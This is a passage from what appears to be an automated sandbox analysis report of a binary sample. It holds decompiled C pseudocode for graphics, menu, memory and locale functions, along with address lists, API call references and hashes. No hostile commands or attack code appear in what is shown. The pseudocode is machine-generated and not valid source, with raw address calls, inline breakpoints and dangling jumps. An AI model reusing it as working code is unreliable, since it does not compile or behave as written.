								_t89 = 0;
								goto L34;
							}
							SelectObject( *(_t107 - 0x30), _t90);
						}
						goto L11;
					} else {
						goto L1;
					}
				}
				L1:
				_t66 = 0;
				goto L13;
			}

0x00b97c66
0x00b97c66
0x00b97c66
0x00b97c6d
0x00b97c72
0x00b97c78
0x00b97c85
0x00b97c90
0x00b97c95
0x00b97ca5
0x00b97cad
0x00b97cb0
0x00b97cbc
0x00b97d04
0x00b97d04
0x00b97d06
0x00b97d06
0x00b97d0d
0x00b97d12
0x00b97d14
0x00b97d14
0x00b97d19
0x00b97d19
0x00b97cc7
0x00b97cd7
0x00b97cd9
0x00b97cc9
0x00b97cce
0x00b97cd0
0x00b97cd2
0x00b97cd2
0x00b97cde
0x00b97ce0
0x00b97ce3
0x00b97ceb
0x00b97cee
0x00b97cf1
0x00b97cf7
0x00b97cfc
0x00b97d1f
0x00b97d27
0x00b97d35
0x00b97d40
0x00b97d42
0x00b97d47
0x00b97d76
0x00b97d7c
0x00b97d80
0x00b97d85
0x00b97dfe
0x00b97e04
0x00b97e0a
0x00b97e0e
0x00b97e19
0x00b97e1b
0x00b97e1c
0x00b97e1f
0x00b97e23
0x00000000
0x00b97e23
0x00b97d87
0x00b97d8a
0x00b97d8d
0x00b97d8d
0x00b97d91
0x00000000
0x00000000
0x00000000
0x00000000
0x00b97d93
0x00b97d93
0x00b97d98
0x00b97da2
0x00b97da5
0x00b97db3
0x00b97db8
0x00b97dcf
0x00b97dc3
0x00b97dc4
0x00b97dc4
0x00b97dd7
0x00000000
0x00000000
0x00b97dd9
0x00b97dda
0x00b97ddf
0x00000000
0x00b97ddf
0x00b97daa
0x00000000
0x00000000
0x00b97dac
0x00000000
0x00b97de5
0x00b97de5
0x00b97de6
0x00b97dea
0x00b97ded
0x00b97ded
0x00b97dee
0x00b97df8
0x00b97dfb
0x00000000
0x00b97dfb
0x00b97d4d
0x00b97d52
0x00b97d58
0x00000000
0x00b97d58
0x00b97d02
0x00b97d02
0x00000000
0x00000000
0x00000000
0x00000000
0x00b97c85
0x00b97c7a
0x00b97c7a
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 00B97C6D
GetObjectW.GDI32(?,00000018,?,00000000), ref: 00B97CB4
SelectObject.GDI32(?,?), ref: 00B97CCE
SelectObject.GDI32(?,00000000), ref: 00B97D02
SelectObject.GDI32(?,00000000), ref: 00B97D40
SelectObject.GDI32(?,00000000), ref: 00B97D4D
DeleteObject.GDI32(00000000), ref: 00B97D52
GetPixel.GDI32(?,00000000,00000000), ref: 00B97D98
SetPixel.GDI32(?,00000000,00000000,00000000), ref: 00B97DDF
SelectObject.GDI32(?,00D053B8), ref: 00B97E04
SelectObject.GDI32(?,00000000), ref: 00B97E0A
DeleteObject.GDI32(?), ref: 00B97E0E

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Object$Select$DeletePixel$H_prolog3
String ID:
API String ID: 1383263504-0
Opcode ID: 79a978df114621b93e517a8ff6928fedae6bae188d36eb186f8907557c3fb691
Instruction ID: 7237fefb3e690572597898188cd918799b58ea09f58ef41e7f2f6496f9c2fc85
Opcode Fuzzy Hash: 79a978df114621b93e517a8ff6928fedae6bae188d36eb186f8907557c3fb691
Instruction Fuzzy Hash: 7A514F7192421AEFDF11AFA4CC84ABEBBF9FF08350F1041B9E511A61A0DB718D11EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B033E1 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B033E8
std::_Lockit::_Lockit.LIBCPMT ref: 00B033F2

Part of subcall function 00CA8C15: __lock.LIBCMT ref: 00CA8C26

int.LIBCPMT ref: 00B03409

Part of subcall function 00B051EE: std::_Lockit::_Lockit.LIBCPMT ref: 00B051FF

std::locale::_Getfacet.LIBCPMT ref: 00B03412
ctype.LIBCPMT ref: 00B0342C
std::bad_exception::bad_exception.LIBCMT ref: 00B03440
__CxxThrowException@8.LIBCMT ref: 00B0344E
std::_Facet_Register.LIBCPMT ref: 00B03464

Strings

bad cast, xrefs: 00B03438

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$LockitLockit::_$Exception@8Facet_GetfacetH_prolog3RegisterThrow__lockctypestd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 2017145326-3145022300
Opcode ID: 928cd042479419aedc5dafb08177667bcf0aed0a11471d6cbf8e63ddb0429327
Instruction ID: 124ba98458e49078b22fc9036981770949528d4db0f178d55d6a0e59d399f210
Opcode Fuzzy Hash: 928cd042479419aedc5dafb08177667bcf0aed0a11471d6cbf8e63ddb0429327
Instruction Fuzzy Hash: B10122329002159BCF05FFA8C842AAD3BF8AF40764F140159F401BB3D1CF749E059BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B03348 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B0334F
std::_Lockit::_Lockit.LIBCPMT ref: 00B03359

Part of subcall function 00CA8C15: __lock.LIBCMT ref: 00CA8C26

int.LIBCPMT ref: 00B03370

Part of subcall function 00B051EE: std::_Lockit::_Lockit.LIBCPMT ref: 00B051FF

std::locale::_Getfacet.LIBCPMT ref: 00B03379
codecvt.LIBCPMT ref: 00B03393
std::bad_exception::bad_exception.LIBCMT ref: 00B033A7
__CxxThrowException@8.LIBCMT ref: 00B033B5
std::_Facet_Register.LIBCPMT ref: 00B033CB

Strings

bad cast, xrefs: 00B0339F

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$LockitLockit::_$Exception@8Facet_GetfacetH_prolog3RegisterThrow__lockcodecvtstd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 1757418035-3145022300
Opcode ID: 0c46351e9ee636f20c3e28ca1b29fe1bc9cc34edec2792742af2b40fbf4934b6
Instruction ID: 3f7a6483b635228d59e89cf48b086bad82f406188f560feb93b53cef798fbe72
Opcode Fuzzy Hash: 0c46351e9ee636f20c3e28ca1b29fe1bc9cc34edec2792742af2b40fbf4934b6
Instruction Fuzzy Hash: C50122329002159BCF00FBA4C882AAD7BF8AF44764F140159F401BB2E1CF70AE059BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00B0347A Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B03481
std::_Lockit::_Lockit.LIBCPMT ref: 00B0348B

Part of subcall function 00CA8C15: __lock.LIBCMT ref: 00CA8C26

int.LIBCPMT ref: 00B034A2

Part of subcall function 00B051EE: std::_Lockit::_Lockit.LIBCPMT ref: 00B051FF

std::locale::_Getfacet.LIBCPMT ref: 00B034AB
ctype.LIBCPMT ref: 00B034C5
std::bad_exception::bad_exception.LIBCMT ref: 00B034D9
__CxxThrowException@8.LIBCMT ref: 00B034E7
std::_Facet_Register.LIBCPMT ref: 00B034FD

Strings

bad cast, xrefs: 00B034D1

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: std::_$LockitLockit::_$Exception@8Facet_GetfacetH_prolog3RegisterThrow__lockctypestd::bad_exception::bad_exceptionstd::locale::_
String ID: bad cast
API String ID: 2017145326-3145022300
Opcode ID: 8c42f74bb0ceb6f9e3f9bad3b6e4a03a5af611334ac93b3da7e55218099c0b8f
Instruction ID: 10a17b83ab3db03d3c3d7765ac9206020d679cd460294c09367c4c7eace23a94
Opcode Fuzzy Hash: 8c42f74bb0ceb6f9e3f9bad3b6e4a03a5af611334ac93b3da7e55218099c0b8f
Instruction Fuzzy Hash: C901C4329002199BCF11FBA4C846AAD3BF8AF44764F140155F411BB2E1DF749E459BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B6C136 Relevance: 15.1, APIs: 10, Instructions: 94
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00B6C136(signed int _a4) {
				struct HMENU__* _v0;
				signed int _v4;
				struct HMENU__* _v8;
				signed int _v16;
				int _v20;
				int _t31;
				struct HMENU__* _t34;
				signed int _t36;
				int _t38;
				int _t40;
				signed int _t41;
				int _t43;

				0xc814d0();
				_t41 = E00B6BC90(0xce0186, 0xc);
				_t36 = 4;
				_v16 = _t41;
				_v4 = _v4 & 0x00000000;
				if(_t41 == 0) {
					_t41 = 0;
				} else {
					_t36 = _t41;
					E00B6BCEF(_t36);
					 *(_t41 + 8) =  *(_t41 + 8) & 0x00000000;
					 *_t41 = 0xcfe480;
				}
				_v16 = _v16 | 0xffffffff;
				 *(_t41 + 8) = _v4;
				_v4 = _t41;
				0xc8143b( &_v4, 0xd49fd4);
				asm("int3");
				_push(_t36);
				_push(_t36);
				_push(_t41);
				_v20 = GetMenuItemCount(_v4);
				_t31 = GetMenuItemCount(_v8);
				_t43 = _t31 - 1;
				if(_t43 >= 0) {
					do {
						_t31 = GetSubMenu(_v4, _t43);
						_t34 = _t31;
						if(_t34 != 0) {
							if(_a4 == 0) {
								_t38 = 0;
								if(_v16 > 0) {
									while(1) {
										_t31 = GetSubMenu(_v0, _t38);
										if(_t31 == _t34) {
											break;
										}
										_t38 = _t38 + 1;
										if(_t38 < _v16) {
											continue;
										} else {
										}
										goto L17;
									}
									_t31 = RemoveMenu(_v4, _t43, 0x400);
								}
							} else {
								_t31 = GetMenuItemCount(_t34);
								_t40 = 0;
								_v20 = _t31;
								if(_t31 > 0) {
									while(1) {
										_t31 = GetSubMenu(_t34, _t40);
										if(_t31 == _a4) {
											break;
										}
										_t40 = _t40 + 1;
										if(_t40 < _v20) {
											continue;
										} else {
										}
										goto L17;
									}
									_t31 = RemoveMenu(_t34, _t40, 0x400);
									_a4 = _a4 & 0x00000000;
								}
							}
						}
						L17:
						_t43 = _t43 - 1;
					} while (_t43 >= 0);
				}
				return _t31;
			}

0x00b6c13d
0x00b6c149
0x00b6c14b
0x00b6c14c
0x00b6c14f
0x00b6c155
0x00b6c16a
0x00b6c157
0x00b6c157
0x00b6c159
0x00b6c15e
0x00b6c162
0x00b6c162
0x00b6c16f
0x00b6c173
0x00b6c17f
0x00b6c182
0x00b6c187
0x00b6c18b
0x00b6c18c
0x00b6c18d
0x00b6c19a
0x00b6c19d
0x00b6c1a5
0x00b6c1a6
0x00b6c1ae
0x00b6c1b2
0x00b6c1b8
0x00b6c1bc
0x00b6c1c2
0x00b6c1fc
0x00b6c201
0x00b6c203
0x00b6c207
0x00b6c20f
0x00000000
0x00000000
0x00b6c211
0x00b6c215
0x00000000
0x00000000
0x00b6c217
0x00000000
0x00b6c215
0x00b6c222
0x00b6c222
0x00b6c1c4
0x00b6c1c5
0x00b6c1cb
0x00b6c1cd
0x00b6c1d2
0x00b6c1d4
0x00b6c1d6
0x00b6c1df
0x00000000
0x00000000
0x00b6c1e1
0x00b6c1e5
0x00000000
0x00000000
0x00b6c1e7
0x00000000
0x00b6c1e5
0x00b6c1f0
0x00b6c1f6
0x00b6c1f6
0x00b6c1d2
0x00b6c1c2
0x00b6c228
0x00b6c228
0x00b6c228
0x00b6c22c
0x00b6c231

APIs

__EH_prolog3.LIBCMT ref: 00B6C13D

Part of subcall function 00B6BC90: _malloc.LIBCMT ref: 00B6BCAC

__CxxThrowException@8.LIBCMT ref: 00B6C182
GetMenuItemCount.USER32(?), ref: 00B6C191
GetMenuItemCount.USER32(8007000E), ref: 00B6C19D
GetSubMenu.USER32(8007000E,-00000001), ref: 00B6C1B2
GetMenuItemCount.USER32(00000000), ref: 00B6C1C5
GetSubMenu.USER32(00000000,00000000), ref: 00B6C1D6
RemoveMenu.USER32(00000000,00000000,00000400,?,?,?,?,?,8007000E,00D49FD4,00000004,00B05A8C,8007000E,?,00B036CE,80004005), ref: 00B6C1F0

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: Menu$CountItem$Exception@8H_prolog3RemoveThrow_malloc
String ID:
API String ID: 638606686-0
Opcode ID: 8ad6991e76d4d091404fc3ad95388a02f7e5077022c16f3c942669b3bf53fe3c
Instruction ID: 3f2abfe52000e72aa19545cdab345d07d5f5675dd91415d27572314e737dc7f2
Opcode Fuzzy Hash: 8ad6991e76d4d091404fc3ad95388a02f7e5077022c16f3c942669b3bf53fe3c
Instruction Fuzzy Hash: E531E371500244FBDB21AF95DC89BAF7FF8FF44751F208666F945AA090C7789A40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B98061 Relevance: 13.7, APIs: 9, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00B98061() {
				signed int _t87;
				void* _t89;
				void* _t93;
				int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				long _t100;
				void* _t106;
				signed int _t108;
				signed int _t110;
				signed int _t112;
				signed int _t113;
				int _t114;
				int _t115;
				signed int _t116;
				int _t120;
				int _t122;
				void* _t123;
				signed int _t124;
				void* _t125;
				void* _t126;
				int _t127;
				signed int _t129;
				int _t131;
				signed int _t134;
				int _t135;
				void** _t136;
				int _t138;
				int _t140;
				int _t142;
				void* _t143;
				signed int _t144;
				void* _t145;

				0xc81503(0xa8);
				_t136 =  *(_t145 + 8);
				_t112 =  *(_t145 + 0xc);
				 *(_t145 - 0x80) = _t112;
				if( *_t136 != 0) {
					if(GetObjectW( *_t136, 0x18, _t145 - 0xb4) != 0) {
						_t116 =  *(_t145 - 0xb0);
						 *(_t145 - 0x6c) =  *(_t145 - 0xac);
						_t87 = _t116;
						asm("cdq");
						_t124 = _t87 % _t112;
						_t113 = _t87 / _t112;
						 *(_t145 - 0x84) = _t116;
						_t89 = 0x20;
						 *(_t145 - 0x7c) = _t113;
						if( *((intOrPtr*)(_t145 - 0xa2)) != _t89) {
							E00B79EF3(_t145 - 0x9c);
							_t131 = 0;
							 *(_t145 - 4) = 0;
							E00B7A8A4(_t113, _t145 - 0x9c, _t124,  *0xcee168(0));
							if( *_t136 == 0) {
								_t93 = 0;
								 *(_t145 - 0x78) = 0;
							} else {
								_t93 = SelectObject( *(_t145 - 0x98),  *_t136);
								 *(_t145 - 0x78) = _t93;
							}
							if(_t93 != 0) {
								if(_t113 > 0) {
									_t97 =  *(_t145 - 0x80);
									_t120 = _t131;
									_t125 =  *(_t145 - 0x6c);
									 *(_t145 - 0x74) = _t120;
									do {
										 *(_t145 - 0x8c) = _t131;
										if(_t125 > 0) {
											_t55 = _t120 - 1; // -1
											_t138 = _t55 + _t97;
											asm("cdq");
											_t98 = _t97 - _t125;
											 *(_t145 - 0x88) = _t138;
											_t125 =  *(_t145 - 0x6c);
											_t99 = _t98 >> 1;
											 *(_t145 - 0x84) = _t99;
											do {
												 *(_t145 - 0x68) = _t138;
												_t114 = _t120;
												if(_t99 > 0) {
													 *(_t145 - 0x70) = _t99;
													do {
														_t100 = GetPixel( *(_t145 - 0x98), _t114, _t131);
														SetPixel( *(_t145 - 0x98), _t114, _t131, GetPixel( *(_t145 - 0x98),  *(_t145 - 0x68), _t131));
														_t140 =  *(_t145 - 0x68);
														SetPixel( *(_t145 - 0x98), _t140, _t131, _t100);
														_t114 = _t114 + 1;
														_t67 = _t145 - 0x70;
														 *_t67 =  *(_t145 - 0x70) - 1;
														 *(_t145 - 0x68) = _t140 - 1;
													} while ( *_t67 != 0);
													_t120 =  *(_t145 - 0x74);
													_t99 =  *(_t145 - 0x84);
													_t125 =  *(_t145 - 0x6c);
													_t138 =  *(_t145 - 0x88);
												}
												_t131 = _t131 + 1;
											} while (_t131 < _t125);
											_t113 =  *(_t145 - 0x7c);
											_t131 = 0;
											_t97 =  *(_t145 - 0x80);
										}
										_t120 = _t120 + _t97;
										_t113 = _t113 - 1;
										 *(_t145 - 0x74) = _t120;
										 *(_t145 - 0x7c) = _t113;
									} while (_t113 != 0);
									_t93 =  *(_t145 - 0x78);
								}
								SelectObject( *(_t145 - 0x98), _t93);
								_t131 = 1;
							}
							 *(_t145 - 4) =  *(_t145 - 4) | 0xffffffff;
							E00B7A049(_t145 - 0x9c);
							_t95 = _t131;
						} else {
							if(GetObjectW( *_t136, 0x54, _t145 - 0x64) == 0) {
								goto L3;
							} else {
								_t106 = 0x20;
								if( *((intOrPtr*)(_t145 - 0x52)) != _t106) {
									goto L3;
								} else {
									_t142 =  *(_t145 - 0x50);
									 *(_t145 - 0x74) = _t142;
									if(_t142 == 0) {
										goto L3;
									} else {
										if(_t113 > 0) {
											_t108 =  *(_t145 - 0x80);
											_t126 =  *(_t145 - 0x6c);
											_t134 = _t108 << 2;
											_t122 = _t142 - 4 + _t134;
											 *(_t145 - 0x8c) = _t134;
											 *(_t145 - 0x70) = _t122;
											do {
												if(_t126 > 0) {
													asm("cdq");
													_t115 = _t142;
													_t143 =  *(_t145 - 0x6c);
													_t110 = _t108 - _t126 >> 1;
													 *(_t145 - 0x88) = _t110;
													 *(_t145 - 0x68) = _t122;
													 *(_t145 - 0x78) = _t143;
													do {
														_t127 = _t115;
														_t135 = _t122;
														if(_t110 > 0) {
															_t144 = _t110;
															do {
																_t123 =  *_t127;
																 *_t127 =  *_t135;
																_t127 = _t127 + 4;
																 *_t135 = _t123;
																_t135 = _t135 - 4;
																_t144 = _t144 - 1;
															} while (_t144 != 0);
															_t110 =  *(_t145 - 0x88);
															_t122 =  *(_t145 - 0x68);
															_t143 =  *(_t145 - 0x78);
														}
														_t129 =  *(_t145 - 0x84) << 2;
														_t122 = _t122 + _t129;
														_t115 = _t115 + _t129;
														_t143 = _t143 - 1;
														 *(_t145 - 0x68) = _t122;
														 *(_t145 - 0x78) = _t143;
													} while (_t143 != 0);
													_t142 =  *(_t145 - 0x74);
													_t113 =  *(_t145 - 0x7c);
													_t134 =  *(_t145 - 0x8c);
													_t108 =  *(_t145 - 0x80);
													_t122 =  *(_t145 - 0x70);
													_t126 =  *(_t145 - 0x6c);
												}
												_t142 = _t142 + _t134;
												_t122 = _t122 + _t134;
												_t113 = _t113 - 1;
												 *(_t145 - 0x74) = _t142;
												 *(_t145 - 0x70) = _t122;
												 *(_t145 - 0x7c) = _t113;
											} while (_t113 != 0);
										}
										goto L1;
										L39:
									}
								}
							}
						}
					} else {
						L3:
						_t95 = 0;
					}
				} else {
					L1:
					_t95 = 1;
				}
				0xc814b2();
				return _t95;
				goto L39;
			}

0x00b9806b
0x00b98070
0x00b98073
0x00b98076
0x00b9807c
0x00b9809b
0x00b980aa
0x00b980b0
0x00b980b3
0x00b980b5
0x00b980b6
0x00b980ba
0x00b980bc
0x00b980c2
0x00b980c3
0x00b980cd
0x00b98198
0x00b9819d
0x00b981a0
0x00b981b0
0x00b981b7
0x00b981cc
0x00b981ce
0x00b981b9
0x00b981c1
0x00b981c7
0x00b981c7
0x00b981d3
0x00b981db
0x00b981e1
0x00b981e4
0x00b981e6
0x00b981e9
0x00b981ec
0x00b981ec
0x00b981f4
0x00b981fa
0x00b981fd
0x00b981ff
0x00b98200
0x00b98202
0x00b98208
0x00b9820b
0x00b9820d
0x00b98213
0x00b98213
0x00b98216
0x00b9821a
0x00b9821c
0x00b9821f
0x00b98227
0x00b98248
0x00b9824f
0x00b9825a
0x00b98260
0x00b98262
0x00b98262
0x00b98265
0x00b98265
0x00b9826a
0x00b9826d
0x00b98273
0x00b98276
0x00b98276
0x00b9827c
0x00b9827d
0x00b98281
0x00b98284
0x00b98286
0x00b98286
0x00b98289
0x00b9828b
0x00b9828c
0x00b9828f
0x00b9828f
0x00b98298
0x00b98298
0x00b982a2
0x00b982aa
0x00b982aa
0x00b982ab
0x00b982b5
0x00b982ba
0x00b980d3
0x00b980df
0x00000000
0x00b980e1
0x00b980e3
0x00b980e8
0x00000000
0x00b980ea
0x00b980ea
0x00b980ed
0x00b980f2
0x00000000
0x00b980f4
0x00b980f6
0x00b980f8
0x00b980fe
0x00b98103
0x00b98106
0x00b98108
0x00b9810e
0x00b98111
0x00b98113
0x00b98115
0x00b98116
0x00b98118
0x00b9811d
0x00b9811f
0x00b98125
0x00b98128
0x00b9812b
0x00b9812b
0x00b9812d
0x00b98131
0x00b98133
0x00b98135
0x00b98135
0x00b98139
0x00b9813b
0x00b9813e
0x00b98140
0x00b98143
0x00b98143
0x00b98146
0x00b9814c
0x00b9814f
0x00b9814f
0x00b98158
0x00b9815b
0x00b9815d
0x00b9815f
0x00b98160
0x00b98163
0x00b98163
0x00b98168
0x00b9816b
0x00b9816e
0x00b98174
0x00b98177
0x00b9817a
0x00b9817a
0x00b9817d
0x00b9817f
0x00b98181
0x00b98182
0x00b98185
0x00b98188
0x00b98188
0x00b9818d
0x00000000
0x00000000
0x00b980f6
0x00b980f2
0x00b980e8
0x00b980df
0x00b9809d
0x00b9809d
0x00b9809d
0x00b9809d
0x00b9807e
0x00b9807e
0x00b98080
0x00b98080
0x00b982bc
0x00b982c1
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9806B
GetObjectW.GDI32(?,00000018,?,000000A8,00B98652,?,00000010,00000038,00B975CE), ref: 00B98097

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3_Object
String ID:
API String ID: 2214263146-0
Opcode ID: d4f26fdf0b31fbfb773999d224e20dba74c813eb2f308908619354a23dce54c6
Instruction ID: 3ec703e3a657968cef83b1fc955de8203d78842c2f007ca7f7dfcbdc16385366
Opcode Fuzzy Hash: d4f26fdf0b31fbfb773999d224e20dba74c813eb2f308908619354a23dce54c6
Instruction Fuzzy Hash: C8811971E002298BDF24CFA9CC80A9DBBB5FF59340F2481A9E959A7312DB705D85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B6D42E Relevance: 13.6, APIs: 9, Instructions: 101
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00B6D42E(long* __ecx) {
				void* _t38;
				long* _t41;
				long _t42;
				void* _t43;
				long _t53;
				signed int _t54;
				int _t55;
				void* _t59;
				signed int _t60;
				void* _t61;
				void* _t63;
				long* _t64;
				void* _t65;
				void* _t66;
				long* _t67;
				void* _t68;

				_t56 = __ecx;
				0xc81539(0x10);
				_t67 = __ecx;
				 *(_t68 - 0x18) = __ecx;
				_t64 =  &(__ecx[7]);
				 *(_t68 - 0x14) = _t64;
				 *0xcee4d8(_t64);
				_t54 =  *(_t68 + 8);
				if(_t54 <= 0 || _t54 >= __ecx[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *__ecx);
					if(_t65 == 0) {
						_t55 = 0;
						 *(_t68 - 4) = 0;
						_t66 = E00B6D0A9(0x10);
						if(_t66 == 0) {
							_t66 = 0;
						} else {
							 *_t66 = 0xcfe5e0;
						}
						 *(_t68 - 4) =  *(_t68 - 4) | 0xffffffff;
						 *(_t66 + 8) = _t55;
						 *(_t66 + 0xc) = _t55;
						_t41 = E00B6D35E( &(_t67[5]), _t66);
						_t56 = _t67[5];
						 *_t41 = _t67[5];
						_t67[5] = _t66;
						_t67 =  *(_t68 - 0x18);
						goto L10;
					} else {
						if(_t54 >=  *((intOrPtr*)(_t65 + 8)) &&  *((intOrPtr*)(_t68 + 0xc)) != 0) {
							_t55 = 0;
							L10:
							if( *(_t66 + 0xc) != _t55) {
								_t42 = E00B6C969(_t55, _t56, _t66, _t67, _t67[3], 4);
								_t59 = 2;
								_t43 = LocalReAlloc( *(_t66 + 0xc), _t42, ??);
							} else {
								_t53 = E00B6C969(_t55, _t56, _t66, _t67, _t67[3], 4);
								_pop(_t59);
								_t43 = LocalAlloc(_t55, _t53);
							}
							_t63 = _t43;
							if(_t63 == 0) {
								 *0xcee4d4( *(_t68 - 0x14));
								E00B6BD23(_t59);
							}
							_t60 =  *(_t66 + 8);
							 *(_t66 + 0xc) = _t63;
							0xc83f30(_t63 + _t60 * 4, _t55, _t67[3] - _t60 << 2);
							 *(_t66 + 8) = _t67[3];
							TlsSetValue( *_t67, _t66);
							_t54 =  *(_t68 + 8);
						}
					}
					_t61 =  *(_t66 + 0xc);
					if(_t61 != 0 && _t54 <  *(_t66 + 8)) {
						 *((intOrPtr*)(_t61 + _t54 * 4)) =  *((intOrPtr*)(_t68 + 0xc));
					}
					_push( *(_t68 - 0x14));
				}
				_t38 =  *0xcee4d4();
				0xc8149e();
				return _t38;
			}

0x00b6d42e
0x00b6d435
0x00b6d43a
0x00b6d43c
0x00b6d43f
0x00b6d443
0x00b6d446
0x00b6d44c
0x00b6d451
0x00b6d561
0x00b6d460
0x00b6d468
0x00b6d46c
0x00b6d485
0x00b6d489
